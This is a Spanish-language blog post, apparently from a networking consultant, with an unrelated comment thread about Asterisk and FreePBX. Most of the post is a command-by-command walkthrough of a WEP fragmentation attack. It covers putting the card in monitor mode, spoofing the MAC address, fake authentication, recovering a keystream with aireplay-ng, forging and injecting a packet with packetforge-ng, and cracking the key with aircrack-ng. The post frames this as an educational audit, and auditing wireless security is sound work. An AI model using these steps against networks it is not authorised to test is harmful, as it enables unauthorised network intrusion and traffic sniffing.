Auditoría de Red Inalámbrica para verificar Ataque por Fragmentación con Aireplay, Airodump y Aircrack

Búsqueda

Hagamos que México crezca..

Prefiere el consumo de lo Hecho en México

Posts Recientes

Visitantes

Conversación

Phylevn: Si claro, hay un software israelí que es gratuito no recuerdo como se llama, solo tienes que compilar asterisk-addons para que también guarde en el CDR el ID de la llamada para asi despues relacionarla con la grabación.
Cesar: Que ta amigo... sobre la pregunta de ligar una extencion a una troncal o hice con customcontext en freepbx.
solo tengo una duda, hay algun plugin para freepbx para poder monitorear las llamadas grabadas como en elastix?
gracias.. y saludos
Sergio: Hola!!
Oie al parecer hay errores en las entradas sobre la Facturacion Electronica del SAT, hace unos dias lei los Post y hoy YA NO PUEDO ENTRAR, me marca que la pagina no se encontro.
Gracias
Conmutador IP: @Max: Para que tu Tel IP haga y reciba llamadas necesitas configurarlo, si tu teléfono usa el protocolo SIP entonces necesitas configurar usuario, password, dominio o proxy, outbound proxy en algunos casos y puerto que el default es 5060, estos datos te los da el proveedor IP con los que contrates el servicio como puede ser Alestra en México, o callcentric.com en estados unidos por ejemplo
Max: hola tengo una duda, tengo un telefono IP pero nose si se requiere alguna configuracion para que trabaje con el modem de infinitum, es decir que tengo q hacer para que pueda hacer y recibir llamadas con el.
espero puedas ayudarme
Phylevn: Si lo puedes hacer, busca lo que son los contextos en asterisk.
Cesar: Que tal, si me funciono, solo que curiosamente con no-ip o ddns solo fuinciona cuando son isp diferentes, aquí en Nayarit, Telmex y Megacable, si lo hago solo con Megacable debo poner la ip de la der de Megacable, 10.163.x.x no tengo idea por que solo así funciono... Otra duda, en asterisk se puede hacer que por ejemplo la extensión 500 solo use la troncal 1 y todas las demás extensiones utilizen otra troncal? Esto sin teniendo el mismo plan de marcado en ambas troncales, es decir, poder hacer que una troncal y una extensión estén vinculadas para hacer llamadas.
Angel Reyes: Hey Filein,
Quiero conversar contigo sobre una oportunidad de negocio. ¿me pasas tu email?
Saludos.
Comutador IP: @Cesar: Si es posible, solo requieres poner el puerto SIP de tu Conmutador IP Asterisk en una IP Pública, puedes usar DynDNS para este caso junto con DDClient y ya solo el SPA lo apuntas a la IP Pública de tu conmutador IP Asterisk siguiendo los mismos pasos de configuración de siempre. Eso es todo.
Cesar: Amigo, podrias ayudarme, quisiera utilizar un SPA 3102 de forma remota, este esta conectado directamente a internet, y en otra parte de la misma ciudad tengo el servidor asterisk donde quiero utilizar la linea, es posible?

Nombre:

E-Mail:

URL:

Código Captcha:Escribe el código Captcha que estás viendo

Mensaje:

Auditoría de Red Inalámbrica para verificar Ataque por Fragmentación con Aireplay, Airodump y Aircrack

Entre los servicios que ofrezco son los estudios de propagación de señal, que básicamente consiste en analizar el comportamiento de las señales de radiofrecuencia en diversos ambientes, esto para poder implementar redes inalámbricas de datos en almacenes, bodegas, centros de distribución, etc., Un estudio de propagación de señal siempre es importante llevarse a cabo antes de empezar a instalar Access Points esto para tener la certeza de que la cobertura si dará servicio a las terminales móviles. En algunos casos dónde ya existen redes inalámbricas, siempre es importante también realizar Auditorías inalámbricas que es muy necesaria para auditar los niveles de seguridad y eficiencia de una red inalámbrica, ya que permite descubrir las vulnerabilidades o fallos que puede tener una red inalámbrica lo que puede perjudicar en las conexiones con los clientes inalámbricos e incluso de tener intrusos dentro de la organización, que en el mejor de los casos solo pueda estar ocupando ancho de banda, pero en otros puede incluso llegar a "snifear" todo el tráfico de red.
Uno de los principales ataques más avanzados en las redes inalámbricas es el ataque por fragmentación, en este caso muestro un tutorial rápidamente de como se lleva a cabo, esto con la finalidad de que se tenga el conocimiento y se tomen las medidas preventivas de seguridad en sus redes inalámbricas, ya que actualmente muchos fabricantes configuran sus Routers Inalámbricos solo con WEP el cuál es una seguridad deficiente.
Para esto siempre es requerido realizar una Auditoría Inalámbrica haciendo uso de un LiveCD de Seguridad como WifiSlax con algún usb con chip RTL8187.
La siguiente información es con fines educativos y preventivos para los administradores de sistemas.

rm -rf llave*

iwconfig wlan0 rate 1M mode monitor

macchanger -m 00:A0:F8:01:02:03 wlan0

airodump-ng wlan0

#Teclear Ctrl +C despues de obtener el listado de redes disponibles

#Me devuelve info de las redes inalámbricas cercanas

**

 BSSID                     PWR  Beacons #Data, #/s  CH  MB  ENC  CIPHER  AUTH ESSID

 00:21:7C:CA:B7:F9    8       26            1       0    6    54. WEP  WEP       OPN  PhylevnWireless

 MAC del AP: 00:21:7C:CA:B7:F9

 Canal: 6

 ESSID: PhylevnWireless

 ENC: WEP

 CIF: WEP

 **

iwconfig wlan0 channel 6

airodump-ng --bssid 00:21:7C:CA:B7:F9 -w llave -c 6 wlan0

#Abrir una consola (Consola <img src="plugins/Emoticons/images/face-glasses.png" border="0" alt="face-glasses.png " width="16" height="16" />

aireplay-ng -1 6 -e PhylevnWireless -a  00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0

#Abrir una consola (Consola C)

aireplay-ng -5 -b  00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0

#Cuándo diga Use this packet ? teclear "y" sin las comillas

#Use this packet ? y

#Al final de ejecutar este comando me mandará algo como esto:

Saving keystream in fragment-0701-205127.xor

#ese archivo lo usaremos para generar un paquete bomba

packetforge-ng -0 -a  00:21:7C:CA:B7:F9 -h 00:A0:f8:01:02:03 -k 192.168.1.100 -l 192.168.1.176 -y fragment-0701-205127.xor -w bomba

#-k usar la misma IP de ejemplo

#-l usar la misma IP de ejemplo

-y es el archivo fragment-0701-205127.xor que se generó anteriormente con el comando "aireplay-ng -5 -b  00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0"

-w es el paquete bomba generado

#inyección de paquetes con el paquete bomba

sudo aireplay-ng -2 -b  00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03  -r bomba wlan0

#cuándo pregunte Use this packet ?  teclear "y", sin comillas

#Use this packet ? y

#y Ahí debería a empezar hacer el ataque.. 

#Abri una consola (Consola D)

#de ahi en otra ventana ejecutar cada que vaya avanzando el 5000 el valor de #data en la primer consola A hasta obtener la llave wep, 

cp llave-01.cap llave.cap

aircrack-ng -z llave.cap